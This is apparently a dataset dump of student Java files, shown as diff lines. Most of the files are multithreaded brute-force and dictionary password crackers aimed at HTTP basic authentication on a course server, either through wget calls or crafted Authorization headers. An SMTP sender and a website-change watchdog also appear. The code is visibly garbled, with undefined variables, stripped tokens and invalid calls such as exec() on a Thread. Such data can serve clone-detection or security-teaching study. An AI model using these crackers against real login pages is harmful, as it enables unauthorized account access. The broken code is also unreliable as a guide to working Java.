+	
+	public int sendM(String mailfrom, String mailto, String subject, String[] c ) {
+		int rtn=1;
+
+                try { 
+
+                        
+                        
+			System.out.println(""create smtp"");
+                        SmtpClient smtp = new SmtpClient(); 
+
+			
+                        smtp.from(mailfrom); 
+
+			System.out.println(""mailfrom smtp"");
+                        
+                        smtp.print(mailto); 
+			System.out.println(""mailto smtp"");
+    
+                        
+                        PrintStream msg = smtp.startMessage(); 
+
+			System.out.println(""startmessage smtp"");
+
+			msg.println("": "" + mailto); 
+                        msg.println(""From: "" + mailfrom); 
+                        msg.println(""Subject: "" + subject + ""\n"");
+			for (int i = 0; i < m.length; i++) {
+				if (m[i] != null) {
+		                        msg.println(m[i] +""\n"");
+				}
+			}
+
+                        
+                        smtp.closeServer(); 
+			System.out.println("" smtp"");
+
+                } 
+
+                catch (IOException e) {
+			System.out.println(""Error in sent message : "" + e.getMessage());
+		} 
+
+
+	        if (rtn == 1)
+		    System.out.println(""Message sent!"");
+		return rtn;
+
+		
+	}
+}
+
+"
+056.java,"
+
+                  
+                  
+
+
+    class BruteForce
+   {
+       public static void main (String []a)throws Exception
+      {
+         PasswordGen p1,p2,p3,p4,p5,p6,p7,p8;
+         int count=1;
+         p1=new PasswordGen(1,""1"");
+	     p2=new PasswordGen(2,""2"");
+	     p3=new PasswordGen(3,""3"");
+    	 p4=new PasswordGen(4,""4"");
+	     p5=new PasswordGen(5,""5"");
+    	 p6=new PasswordGen(6,""6"");
+	     p7=new PasswordGen(7,""7"");
+     	 p8=new PasswordGen(8,""8"");
+
+    
+    	 p1.t.join();
+	     p2.t.join();
+    	 p3.t.join();
+    	 p4.t.join();
+    	 p5.t.join();
+    	 p6.t.join();
+    	 p7.t.join();
+     	 p8.t.join();
+
+
+
+      }
+   }
+
+
+
+   class PasswordGen implements Runnable
+  {
+
+         char upperAlpha[] =new char[26]; 
+         char lowerAlpha[]=new char[26];  
+         char lowerChar='a',upperChar='A';
+         String passwd1; 
+
+         int threadNumber=0;
+         static boolean  successFlag=false;
+         
+
+         Thread t;
+         static String crackedPasswd=""""; 
+
+
+
+        PasswordGen(int Number,String name)
+       {
+           for(int i=0;i<26;i++)
+         {
+          upperAlpha[i]=upperChar;
+          lowerAlpha[i]=lowerChar;
+     	  upperChar++;
+	      lowerChar++;
+
+         }
+
+          this.threadNumber=Number;
+          t= new Thread(this,name);
+          t.exec(); 
+
+       }
+
+        public void run()
+       {
+          int i,j,k;
+          String url;
+    	  int exitValue=-1;
+          int startTime=0,finishTime=0;
+	      int noAttempts=0; 
+
+          try
+         {
+            switch(threadNumber)
+            {
+
+               case 1:  
+
+	                  startTime=System.currentTimeMillis();
+	                  for(i=25;i>=0;i--)
+                     {
+                        for( j=25;j>=0;j--)
+            		    {
+                          for( k=25;k>=0;k--)
+                         {
+                             try
+                              {
+			                   if(successFlag)break; 
+                               passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k];
+                               System.out.println(passwd1);
+                               url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                               exitValue=executemyurl(url);
+                               noAttempts++;
+
+                               if(exitValue==0) 
+                 			      {
+			                        crackedPasswd= passwd1;
+                    			    System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                  			       
+                                    successFlag=true;
+                                    finishTime=System.currentTimeMillis();
+	                     			System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                    				System.out.println(noAttempts);
+                    				
+
+                 			       }
+                              }
+                           catch(Exception e){System.out.println(e);}
+
+                       }
+                     }
+                  }
+
+           break;
+            
+
+             case 2:    
+                  for(i=0;i<=25;i++)
+                    {
+                     for( j=0;j<=25;j++)
+                      {
+                       for( k=0;k<=25;k++)
+                       {
+
+                           if(successFlag)break;
+                            try
+                              {
+                                passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k];
+	                            url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+	                            System.out.println(passwd1);
+                                exitValue=executemyurl(url);
+
+                                noAttempts++;
+
+                                if(exitValue==0)
+                 			      {
+			                        crackedPasswd= passwd1;
+                			        System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                                    successFlag=true;
+                                 	finishTime=System.currentTimeMillis();
+				                	System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                     				System.out.println(noAttempts);
+                                 }
+                             }
+                          catch(Exception e){System.out.println(e);}
+                        }
+                       }
+                     }
+             break;
+
+           case  3:
+		   for(i=0;i<26;i++)
+                    {
+                     for(j=0;j<26;j++)
+                      {
+                       for(k=0;k<26;k++)
+                        {
+                           if(successFlag)break;
+                           try
+                            {
+                              passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k];
+                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                              System.out.println(passwd1);
+                              exitValue=executemyurl(url);
+                              noAttempts++;
+
+                             if(exitValue==0)
+            			      {
+			                    crackedPasswd= passwd1;
+             	  		        System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                                successFlag=true;
+                               finishTime=System.currentTimeMillis();
+                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                               System.out.println(noAttempts);
+
+                              }
+
+
+                            }
+                          catch(Exception e){System.out.println(e);}
+                        }
+                      }
+                    }
+               break;
+
+          case 4:
+		   for(i=0;i<26;i++)
+                    {
+                      for(j=0;j<26;j++)
+                      {
+                        for(k=0;k<26;k++)
+                       {
+                           if(successFlag)break;
+                           try
+                            {
+                              passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k];
+                               System.out.println(passwd1);
+                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                              exitValue=executemyurl(url);
+                              noAttempts++;
+
+                             if(exitValue==0)
+                             {
+                             crackedPasswd= passwd1;
+                             System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                             successFlag=true;
+                            finishTime=System.currentTimeMillis();
+                            System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                            System.out.println(noAttempts);
+           			       }
+
+                         }
+                        catch(Exception e){System.out.println(e);}
+                       }
+                     }
+                    }
+               break;
+
+          case  5:
+		   for(i=0;i<26;i++)
+                    {
+                     for(j=0;j<26;j++)
+                      {
+                       for(k=0;k<26;k++)
+                       {
+                           if(successFlag)break;
+		            	    try
+                            {
+                              passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k];
+                              System.out.println(passwd1);
+                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                              exitValue=executemyurl(url);
+                              noAttempts++;
+
+                              if(exitValue==0)
+                               {
+                                 crackedPasswd= passwd1;
+                                 System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                                 successFlag=true;
+                                 finishTime=System.currentTimeMillis();
+                                 System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                                 System.out.println(noAttempts);
+
+               			       }
+
+
+                           }
+                          catch(Exception e){System.out.println(e);}
+                       }
+                      }
+                    }
+              break;
+           case 6:
+		   for(i=0;i<26;i++)
+                    {
+                     for(j=0;j<26;j++)
+                     {
+                       for(k=0;k<26;k++)
+                       {
+                           if(successFlag)break;
+			                  try
+                             {
+                              passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k];
+                               System.out.println(passwd1);
+                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                              exitValue=executemyurl(url);
+                              noAttempts++;
+
+                             if(exitValue== 0)
+                              {
+                               crackedPasswd= passwd1;
+                               System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                               successFlag=true;
+                               finishTime=System.currentTimeMillis();
+                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                               System.out.println(noAttempts);
+
+                               }
+                             }
+                          catch(Exception e){System.out.println(e);}
+                       }
+                     }
+                    }
+               break;
+           case 7:
+		   for(i=0;i<26;i++)
+                    {
+                     for(j=0;j<26;j++)
+                      {
+                       for(k=0;k<26;k++)
+                       {
+                          if(successFlag)break;
+                          try
+                            {
+                              passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k];
+                               System.out.println(passwd1);
+			                   url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+
+                               exitValue=executemyurl(url);
+                               noAttempts++;
+
+                              if(exitValue==0)
+                              {
+                     		    crackedPasswd= passwd1;
+                   		       System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                               successFlag=true;
+                               finishTime=System.currentTimeMillis();
+                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                               System.out.println(noAttempts);
+                               }
+
+                             }
+                          catch(Exception e)
+                          {
+                            System.out.println(e);
+
+                          }
+
+                        }
+                       }
+                    }
+                      break;
+           case 8:
+		   for(i=0;i<26;i++)
+                    {
+                     for(j=0;j<26;j++)
+                      {
+                       for(k=0;k<26;k++)
+                        {
+
+                           if(successFlag)break;
+             			    try
+                            {
+                              passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k];
+                              System.out.println(passwd1);
+			     		       url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
+
+				                exitValue=executemyurl(url);
+                                noAttempts++;
+
+                                 if(exitValue==0)
+                 			     {
+			      			       crackedPasswd= passwd1;
+                   			       System.out.println(""Cracked Passwd is:=""+crackedPasswd);
+                                   successFlag=true;
+                                    finishTime=System.currentTimeMillis();
+                                    System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
+                                    System.out.println(noAttempts);
+                 		       }
+			                }
+                          catch(Exception e){System.out.println(e);}
+                         }
+                       }
+                     }
+
+              break;
+            }
+          }
+
+       catch(Exception e ){System.out.println();}
+     }
+
+      int executemyurl(String url) throws Exception
+	  {
+	       Process p;
+	       Runtime r=Runtime.getRuntime();
+	       p=r.exec(url);
+	       p.waitFor();
+        	r.freeMemory();
+	     	r.gc();
+    	   return p.exitValue();
+	   }
+
+   }
+
+
+
+"
+219.java,"
+
+
+
+
+
+
+
+
+import java.io.*;
+import java.util.*;
+
+
+public class Dictionary  extends Object {
+
+
+public static void  main(String args[]) {
+
+
+TopThread top = new TopThread();
+BottomThread bottom = new BottomThread();
+
+
+top.start();
+bottom.start();
+}
+}
+
+
+
+class TopThread extends Thread {
+String strLine="""";
+String pass="""",s="""";
+int j=0;
+BufferedReader in;
+Process p;
+int attempt=0;
+ int start = System.currentTimeMillis();
+public void run ()
+{
+
+try {
+
+        in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+
+        while((strLine = in.readLine()) != null) {
+        if(strLine.length()==3){
+        pass=strLine;
+        System.out.println(""Trying  crack using: ""+pass);
+
+
+
+         try{
+         attempt++;
+         p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+         p.waitFor();
+
+         j = p.exitValue();
+         }
+         catch(Exception o){}
+
+
+         if(j==0)
+         {
+          stop = System.currentTimeMillis();
+         float duration = stop - start;
+         BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+         out.write(""\n"");
+         out.write("" DICTIONARY ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
+         out.close();
+         System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+         System.exit(0);
+         }
+
+
+
+
+
+        
+          }
+
+        }
+
+     }
+        catch (IOException e) {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+        }
+     }
+}
+
+
+
+
+class BottomThread extends Thread {
+
+String strLine="""";
+String pass="""",s="""";
+int j=0;
+BufferedReader in;
+Process p;
+int attempt=0;
+ int start = System.currentTimeMillis();
+public void run () {
+ArrayList a = new ArrayList(4096);
+
+       try {
+           in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+           while((strLine = in.readLine()) != null)
+               if(strLine.length()==3){
+                cad.add(strLine);
+                                      }
+           in.close();
+           } catch (IOException e) {
+            e.printStackTrace();
+            System.exit(1);
+                                   }
+
+        String strArray[] = new String[a.size()];
+        cad.toArray(strArray);
+
+        for(int i = strArray.length - 1; i >= 0; i--){
+             pass=strArray[i];
+
+        try {
+
+            System.out.println(""Trying  crack using: ""+pass);
+            try{
+            attempt++;
+
+            p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+            p.waitFor();
+
+
+            j = p.exitValue();
+            }
+            catch(Exception o){}
+
+
+            if(j==0)
+            {
+            stop = System.currentTimeMillis();
+           float duration = stop - start;
+           BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+           out.write(""\n"");
+           out.write("" DICTIONARY ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
+           out.close();
+           System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+           System.exit(0);
+           }
+
+
+
+
+           
+
+        }
+        catch (IOException e) {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+           }
+         }
+     }
+}
+
+
+"
+014.java,"
+
+
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import misc.BASE64Encoder;
+import javax.swing.*;
+
+public class ConnectionThread extends Thread
+{
+    private String         url;
+    private URL            currURL;
+    private URLConnection  conn;
+    private HoldSharedData sharedData;
+    private int            noOfThread;
+    private int            batch;
+
+    public ConnectionThread( String pageURL, int wThread,
+                             int newBatch, HoldSharedData data )
+    {
+        super();
+        url = pageURL;
+        noOfThread = wThread ;
+        batch = newBatch;
+        sharedData = data;
+    }
+
+    
+    public void run()
+    {
+        try
+        {
+            currURL = new URL( url );
+
+            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
+                                    (i < sharedData.getPwdCount()); i ++ )
+            {
+                String pwd = sharedData.getPasswordAt( i );
+
+                conn = currURL.openConnection();
+
+                if (conn instanceof HttpURLConnection)
+                {
+	            HttpURLConnection hconn = (HttpURLConnection) conn;
+                    hconn.setFollowRedirects(false);
+                    String cad = "" "" + based64Encoder( "":"" + pwd );
+                    hconn.setRequestProperty( ""Authorization"", cad );
+
+                    hconn.connect();
+	            int response = hconn.getResponseCode();
+                    sharedData.setNumOfConnections();
+
+                    if( response == 200 )
+                    {
+                         totalTime = System.currentTimeMillis() -
+                                           sharedData.getStartTime();
+                        int numOfConnections = sharedData.getNumOfConnections();
+
+                        System.out.println( ""Password is "" + pwd );
+                        System.out.println( ""Total Time(seconds)="" +
+                                           (double)totalTime/1000 );
+                        System.out.println( ""Number Of Connections: "" +
+                                                    numOfConnections );
+                        System.exit(0);
+                    }
+                    else
+                    {
+                        hconn.disconnect();
+                    }
+                }
+            }
+        }
+        catch( MalformedURLException mue )
+        {
+            String msg = ""Unable  parse URL: "" + url;
+            System.err.println( msg );
+        }
+        catch( IOException ioe )
+        {
+            System.err.println( ""I/O Error : "" + ioe );
+        }
+    }
+
+    private String based64Encoder( String pwd )
+    {
+        
+        String str = pwd;
+        byte[] buf = str.getBytes();
+        String encodedStr = new misc.BASE64Encoder().encode(buf);
+
+
+        return encodedStr;
+    }
+}  "
+046.java,"import java.net.*;
+import java.io.*;
+import java.util.*;
+import java.text.*;
+
+
+
+
+public class WatchDog{
+   
+   
+   
+   
+   
+   public static void main (String[] args) throws InterruptedException, IOException{
+
+    
+    String urlString = ""http://www.cs.rmit.edu./students/"";
+    
+  
+    String mesg = """";
+    
+    boolean flag = false;
+    
+    InputStream rtemp;
+    
+    if (args.length == 2) {
+      	
+      	System.err.println (
+      		
+      		""Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>"");
+      	return;
+      	
+     }
+    
+    
+    
+    BufferedReader rnew;
+    
+    BufferedReader rold = ReadFile (urlString);
+    
+    SaveFile(""weblog"",urlString); 
+   
+    Date lasttime  =  CheckTime(urlString);
+    
+   
+    Date newtime = new Date();
+    
+    int i = 0; 
+    
+    System.out.println(""......""); 
+    
+    
+    while (true) {
+    	
+    	   	
+    	newtime =  CheckTime(urlString);
+    	
+    	System.out.println (""Checking ""+ new Date());
+    	
+    	if (newtime.toString().equals(lasttime.toString())==false) {
+    		
+    	
+    	    rnew = ReadFile (urlString);
+    	    	
+    		    		
+    		mesg = CompareFile(rold,rnew);
+    		
+     		
+     		SaveFile(""weblog"",urlString);
+     		
+     		
+     		rold = OpenFile (""weblog"");
+     		
+ 		
+    		lasttime=newtime;
+    		
+    	    System.out.println(""Sending message"");
+    	    
+    	    SendMail(trimtag(mesg),args[0],args[1],args[2]); 
+    	    
+    	    System.out.println(trimtag(mesg));
+    	
+    	
+    	} 
+    	
+    	Thread.sleep (24*3600*1000);  
+   	}
+    
+    
+    
+    }
+
+  
+  
+  private static BufferedReader ReadFile  (String urlString) throws IOException{
+  	
+  	                          
+ 
+        URL url = new URL (urlString);
+
+        
+        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
+        
+         
+        InputStream in = (InputStream) uc.getInputStream();
+         
+        BufferedReader r = new BufferedReader (new InputStreamReader (in));
+       
+        
+        
+        return r;
+      
+        
+   }
+
+  
+
+  private static BufferedReader OpenFile  (String FileName) throws IOException{
+  	
+        FileInputStream  in = new FileInputStream (FileName);
+        
+        InputStreamReader is= new InputStreamReader (in); 	                          
+  
+        BufferedReader r = new BufferedReader (is);
+       
+      
+        return r;
+        
+        
+      
+        
+   }
+
+
+  
+  
+private static void SaveFile  (String FileName, String urlstring) throws IOException{
+  	
+  	    
+  	String cmd = ""wget -q ""+urlstring+"" -O ""+ FileName ;
+  	
+  	
+  	Runtime.getRuntime().exec(cmd); 
+  	    
+   }
+
+  
+  
+  
+   
+  private static Date CheckTime (String urlString) throws IOException {
+  	
+  	    URL url = new URL (urlString);
+
+        
+        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
+        
+        uc.setRequestMethod (""HEAD"");
+        
+        return (new Date (uc.getLastModified()));
+        
+                
+       
+   } 
+  
+  
+  
+  private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{
+  	
+  	
+  	
+  	    Vector newF= new Vector ();
+        Vector oldF= new Vector ();
+
+
+        int old_count=0;
+	 	int new_count=0;
+
+	 	String line="""";
+
+        StringBuffer mesg = new StringBuffer (""NEW CONTENT : \n"");
+
+	 	int j;
+        
+      
+       
+	    while ((line=inold.readLine())!= null){
+
+	 		  if (line.trim().length()!=0){
+	 		  oldF.addElement(line);
+	 		 
+	 	
+	 		  
+	 		 }
+
+	 		 }
+
+	 	while ((line=innew.readLine()) != null){
+	 		  if (line.trim().length()!=0){
+	 		  newF.addElement(line);
+	         }
+
+	 		 }
+
+	 	for (int i=0; i<newF.size();i++){
+
+	 		 j=0;
+
+	 		 while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){
+
+	 		 	j++;
+                
+                if (j==oldF.size()) 
+                {   j--;
+                	break;
+                 }
+	 		 	}
+
+            
+             
+	 		 if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){
+
+                 newF.removeElementAt(i);
+	 	         i--;
+	 	         oldF.removeElementAt(j);
+
+
+	 		 	}
+
+	 	 	}
+
+
+
+	 	for (int i=0; i<newF.size();i++){
+
+	 	  mesg.append((String)(newF.elementAt(i)));
+	 	  mesg.append(""\n"");
+          }
+
+
+	    mesg.append(""OLD CONTENT: \n"");
+
+         for (int i=0; i<oldF.size();i++){
+
+          mesg.append((String)oldF.elementAt(i));
+          mesg.append(""\n"");
+       
+	 	}
+
+     
+
+
+	    return mesg.toString();
+
+
+
+	 
+
+
+}
+
+
+
+private static void SendMail (String mesg, 
+           String host,String mailhost, String sending ) throws IOException {
+	
+    String send_cmd = """";
+
+	try {
+		
+		Socket s = new Socket (host, 25);
+		
+	    PrintStream os = new PrintStream (s.getOutputStream());
+	    
+        send_cmd = ""HELO "" + mailhost;
+        
+        os.print(send_cmd + ""\r\n"");
+        
+        send_cmd = ""MAIL From : website@cs.rmit.edu."";
+        
+        os.print(send_cmd + ""\r\n"");
+        
+        send_cmd = ""RCPT  : "" + sending;
+        
+        os.print(send_cmd + ""\r\n"");
+        
+        send_cmd = ""DATA"";
+        
+        os.print(send_cmd + ""\r\n"");
+        
+        send_cmd = (""Subject: Website Change Notice"");
+        
+        os.print(send_cmd + ""\r\n"");
+        
+        os.print(""\r\n"");
+        
+        os.print(mesg+""\r\r\n"");
+        
+        os.print("".\r\n"");
+        
+        os.print(""QUIT"");
+        
+  	
+	} catch (IOException e) {
+		System.out.println(e);
+	}
+	
+
+	
+  }
+
+
+private static String trimtag (String mesg){
+	
+	String[] taglist = {""<a"", ""<A"", ""<applet "", ""<APPLET"", ""<img "", ""<IMG ""}; 
+	
+	String subst = """";
+	
+	StringBuffer tempst= new StringBuffer();
+	int j = 0;
+	
+	int i = 0;
+	
+	int m = 0;
+	
+	
+	while (mesg.length()!=0) {
+	   
+	   m=0;
+	   
+	   i = mesg.indexOf(""<"");
+	   
+	   
+	   if (i!=-1) {
+	     
+	     tempst.append(mesg.substring(0,i));
+	     
+	     	
+	   } 
+	   else {  	
+	    tempst.append(mesg.substring(0));
+	    break;
+       }
+	   
+	   
+	   j = mesg.indexOf("">""); 
+	
+	   
+	   subst=mesg.substring(i,j+1); 
+	 
+	   while (subst.startsWith(taglist[m])==false) {
+	   	
+	   	m++;
+	   	
+	   	if (m==taglist.length) 
+	   	
+	   	{   m--;
+	   		break;
+	    }
+	   	
+	   	}	
+	   
+	   if (subst.startsWith(taglist[m])) tempst.append (subst);
+	   
+	   
+	   mesg = mesg.substring(j+1);
+	   
+	   
+	   }
+	
+	  return tempst.toString();
+	  
+	}
+
+
+
+
+} "
+242.java,"import java.net.*;
+import java.io.*;
+
+ public class Bruteforce {
+ int attempts = 0;
+  int l = 65;int m = 65;int n = 65;
+   URLConnection conn = null;
+
+   public static void  main(String args[]){
+     
+	Bruteforce a = new Bruteforce();
+        a.attack(args);
+     }
+
+   public void attack(String args[]) {
+   try {
+
+       String login = new String("""");
+       String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+       String passwd = new String();
+
+	 passwd = getPasswd();
+         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
+
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           }
+           System.out.println(""Password Cracked Successfully!!!"");
+           System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries"");
+       }
+     catch (IOException e) {
+    
+      String r = new String(e.getMessage());
+    if ( r != null)
+    {
+     System.out.println(""Message :"" +r);
+     System.out.println(""Trying again with new password"");
+     Bruteforce a = new Bruteforce();
+     a.attack(args);
+    }
+     else
+     {
+	System.out.println(""Trying again with new password"");
+	Bruteforce a = new Bruteforce();
+	a.attack(args);
+     }
+     }
+   }
+  public String getPasswd()
+  {
+    attempts++;
+
+    char i1 = 0;
+    char j1 = 0;
+    char k1 = 0;
+    
+     int i= l;     int j= m;     int k= n;
+
+    String c = new String();
+    String c1 = new String();
+    String c2 = new String();
+    String c3 = new String();
+    String c4 = new String();
+    boolean flag;
+
+    for (i=l;i<123;i++)
+    for (j=m;j<123;j++)
+    for (k=n;k<123;k++)
+    {
+        if( flag = true )
+        {
+
+    i1 = (char)i;
+    j1 = (char)j;
+    k1 = (char)k;
+
+    if (i==91) i=97;
+    if (j==91) j=97;
+    if (k==91) k=97;
+
+    c = i1+"""";
+    c1 = j1+"""";
+    c2 = k1+"""";
+    c3 = c.concat(c1);
+    c4 = c3.concat(c2);
+    }else break;
+    }
+    flag = false;
+    return c4;
+  }
+
+ public InputStream openURLForInput (URL url, String uname, String pword)
+ throws IOException  {
+     conn = url.openConnection();
+     conn.setDoInput (true);
+     conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+
+ public String PasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+ private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+ private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+         case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case  2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+"
+217.java,"
+
+
+
+
+
+
+
+
+import java.io.*;
+import java.util.*;
+
+
+class BruteForce {
+
+
+public static void main(String args[]){
+
+
+RandomThread ran = new RandomThread();
+MixThread mix = new MixThread();
+SmallLetterThread  = new SmallLetterThread();
+CapLetterThread caps = new CapLetterThread();
+
+
+mix.get();
+ran.get();
+
+caps.get();
+
+                                      }
+
+                }
+
+
+class MixThread extends Thread {
+
+String pass,s;
+char a,b,c;
+int z=0;
+int attempt=0;
+Process p;
+char pas[]=new char[4];
+
+char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
+            'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
+            'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
+ int time = System.currentTimeMillis();
+public void run ()
+{
+for(int i=0;i<pos.length;i++){
+ for(int j=0;j<pos.length;j++){
+  for(int k=0;k<pos.length;k++){
+      pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);
+
+     try {
+          System.out.println(""Trying  crack using: ""+pass);
+          attempt++;
+
+          p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+          try{
+          p.waitFor();
+         }
+      catch(Exception q){}
+
+
+          z = p.exitValue();
+
+
+      if(z==0)
+      {
+       stop = System.currentTimeMillis();
+      float duration = stop - start;
+      BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+      out.write(""\n"");
+      out.write("" BRUTE FORCE ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
+      out.close();
+      System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+      System.exit(0);
+      }
+
+
+
+
+      
+       }
+     catch (IOException e) {
+        System.out.println(""exception happened - here's what I know: "");
+        e.printStackTrace();
+        System.exit(-1);
+                           }
+
+        }
+       }
+      }
+    }
+  }
+
+
+
+class RandomThread extends Thread {
+
+String pass,s;
+char a,b,c;
+int z=0;
+int attempt=0;
+Process p;
+char pas[]=new char[4];
+char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
+             'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
+             'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
+ int time = System.currentTimeMillis();
+public void run ()
+{
+for(; ;)
+{
+    Random generator1= new Random();
+    int m= generator1.nextInt(52);
+    int n= generator1.nextInt(52);
+    int o= generator1.nextInt(52);
+
+    pass=String.valueOf(pos[m])+String.valueOf(pos[n])+String.valueOf(pos[o]);
+    try {
+        System.out.println(""Trying  crack using: ""+pass);
+        attempt++;
+
+     p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+     try{
+         p.waitFor();
+         }
+     catch(Exception q){}
+
+
+     z = p.exitValue();
+
+
+     if(z==0)
+     {       stop = System.currentTimeMillis();
+            float duration = stop - start;
+            BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+            out.write(""\n"");
+            out.write("" BRUTE FORCE ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+            out.close();
